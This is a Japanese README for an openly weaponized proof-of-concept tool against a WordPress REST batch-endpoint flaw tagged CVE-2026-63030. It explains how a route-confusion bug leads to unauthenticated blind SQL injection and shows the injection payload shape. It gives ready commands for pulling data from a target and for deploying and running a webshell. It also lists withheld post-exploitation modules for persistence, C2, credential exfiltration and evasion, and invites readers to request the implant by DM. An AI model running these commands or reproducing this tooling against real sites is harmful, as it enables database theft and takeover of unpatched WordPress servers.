
完全にred-team(攻撃セキュリティ)向けに武装化されたwp2shellの派生版で、許可されたペネトレーションテストおよび教育目的のために構築されました。
認証不要のブラインドSQLインジェクションをWordPress RESTバッチエンドポイント(/wp-json/batch/v1)経由で実証する自己完結型の概念実証です。公開された脆弱性メカニズムに基づいて構築された独立した実装です。
公式アドバイザリ: WordPress Security Release | CVE-2026-63030
作者: J4ck3LSyN
権威: CFSD, NFK & C4b1NKr3W
注: 明らかな法的理由により、これに関連するweaponized
r00t.py永続化インプラントは同梱していません。 入手するには、x でDMを送ってください。
[!WARNING]
このコードは教育および研究目的のみで「現状のまま」提供されます。 本PoCを本番環境、共有環境、または許可されていないターゲットで使用しないでください。
- このコードの実行やホスティングは、ウイルス対策の検出、セキュリティ監視アラート、または誤用による法的結果を引き起こす可能性があります。
- 著者およびリポジトリ管理者は、本コードに起因するいかなる損害、誤用、または違法行為についても一切の責任を負いません。
- 適切な許可を得た隔離されたラボ環境でのみ使用してください。 防御研究、脆弱性分析、ブルーチームテスト専用です。
poc.py - メインの概念実証CLI(check, read, shellモード)val.py - 軽量パッシブ脆弱性バリデーター(val.py <ターゲット>)MITIGATIONS.md - 包括的な緩和策とハードニングガイドLETHALITY.html - 視覚的な能力致死性マトリックス(ヒートマップ+キルチェーン)LICENSE - MITライセンスr00t.py:redacted - メインのインプラントオーケストレーター(すべてを統合)modules/ - ポストエクスプロイテーションインプラントモジュールexploit.py - コアエクスプロイトロジック(SQLi + RCEプリミティブ)privesc.py:redacted - ローカル権限昇格チェック(DirtyCOW、sudo、ケーパビリティなど)lpe_byond.py:redacted - BYOVD + eBPF技術を用いた高度なLPE(オペレーター制限)recon.py:redacted - ホストプロファイリングと列挙persistence.py:redacted - 永続化メカニズム(systemd、cron、SSHキー)c2.py:redacted - 暗号化C2ビーコン(HTTPS + DoH)exfil.py:redacted - 資格情報収集とデータ流出stealth.py:redacted - アンチ解析、サンドボックス検出、難読化| ブランチ | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| 6.9.x | 6.9.0 - 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 - 7.0.1 | 7.0.2 |
詳細は公式のWordPressセキュリティリリースを参照してください。
バッチエンドポイントは、1回の呼び出しで複数のサブリクエストをディスパッチし、それぞれを個別に検証および権限チェックします。サブリクエストのパスが wp_parse_url() に失敗すると、検証配列には追加されますが、一致したハンドラー配列には追加されません。2つの配列が同期しなくなり、後のサブリクエストが 別の サブリクエストのハンドラーの下でディスパッチされます。これがルート混乱です。
このPoCでは、プリミティブを2回ネストします:
requests ボディを持つ POST /wp/v2/posts リクエストは、バッチハンドラー自体の下でディスパッチされます。postsリクエストとして検証されたため、その内部の requests リストはバッチスキーマに対して再チェックされることはなく、内部サブリクエストは GET を使用できます(メソッド許可リストバイパス)。author_exclude=... を持つ GET /wp/v2/users リクエストは、posts get_items() の下でディスパッチされます。usersコレクションスキーマには author_exclude パラメータがないため、値はそのまま検証を通過します。posts get_items() は author_exclude をWP_Queryの author__not_in クエリ変数にマッピングし、脆弱なビルドはそれを生の文字列としてSQLにインターリーブします。最終的なシンクは、事前認証のブール型/時間ベースのブラインドSQLインジェクションです:
... post_author NOT IN (<value>) ...
0) <sql>-- - という値は IN() リストを閉じ、任意のSQLを追加します。
PoCはフェイルクローズです。3つのランタイムゲートが誤操作や範囲外の実行を防ぎます。すべて modules/exploit.py で強制されます。poc.py のCLIはそれらをスレッドで渡すだけです。
AuthorizationError は、BatchClient._ensure_authorized()、AdminSession._ensure_authorized()、および AdminSession._ensure_r00t() で発生します。BatchClient._count() は、ソケットを開く前に --max-requests を強制します。--r00t は能力の区分であり、これなしでビルドされたものはウェブシェルを展開または実行できません。shell の資格情報処理:管理者ユーザー名/パスワードは --user / --password、または環境変数/セキュアファイルから解決されます。
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t.git
cd CVE-2026-63030-wp2r00t
python3 -m py_compile modules/exploit.py poc.py # 基本的な健全性チェック
要件: Python 3.11+、標準ライブラリのみ(pip依存関係なし)。
python3 poc.py <command> <url> [flags]
共通フラグ(全サブコマンド):
--authorized あなたが<url>を所有/テストする権限があることを宣言。送信に必要。
--noop ペイロードを送信せずに構築/検証(ネットワーク接続なし)。
--max-requests N ターゲットへのリクエストのハードキャップ。
--rest-route /?rest_route=/batch/v1 を /wp-json/batch/v1 の代わりに使用。
--timeout FLOAT リクエストタイムアウト(デフォルト30)。
--proxy URL HTTP(S)プロキシ。
--insecure TLS証明書検証を無効化。
check - 脆弱性の確認(非破壊的)read - ブラインドSQL抽出shell - ポスト認証ウェブシェルヘルパー(--r00t が必要)validate - パッシブ識別クイックリファレンス
完全なコマンドドキュメントは、元の詳細セクション(または python3 poc.py --help)で利用できます。
SLEEP 値により、固定リズム/固定デルタのWAF/NDR動作分析を無効化します。ポストエクスプロイテーションモジュール(
recon、privesc、exfil、persistence、stealth、c2、lpe_byond)およびr00t.pyは、別のインプラントチェーンを形成しており、ネットワークに露出するPoCの一部ではなく、共有ビルドから意図的に除外されています。これらはこのドキュメントの範囲外です。
このプロジェクトは MIT License の下でライセンスされています。詳細は LICENSE を参照してください。
免責事項: あなたが所有している、または明示的にテストを許可されているシステムでのみ使用してください。著者は誤用について一切の責任を負いません。
| フラグ | スコープ | 未設定時の効果 |
|---|
--authorized | すべてのネットワークI/O | 送信前に AuthorizationError |
--noop | すべてのサブコマンド | ペイロードを構築/表示、ネットワーク接続なし |
--max-requests | BatchClient | ハードリクエスト予算 |
--r00t | shell サブコマンド | ポスト認証RCE機能が無効 |
| 目的 | コマンド |
|---|
| プローブペイロードのプレビュー | python3 poc.py check <url> --noop |
| 脆弱性の確認 | python3 poc.py check <url> --authorized |
| アクティブタイミング証明 | ... check <url> --authorized --confirm-sqli |
| SQLiペイロードのプレビュー | python3 poc.py read <url> --noop --query "SELECT @@version" |
| データの抽出 | python3 poc.py read <url> --authorized --query "SELECT @@version" |
| ウェブシェルアーティファクトのプレビュー | python3 poc.py shell <url> --noop --r00t --cmd "id" |
| 展開+実行(許可あり) | python3 poc.py shell <url> --authorized --r00t --user admin --cmd "id" |
| パッシブスキャン | python3 poc.py validate <url> --authorized |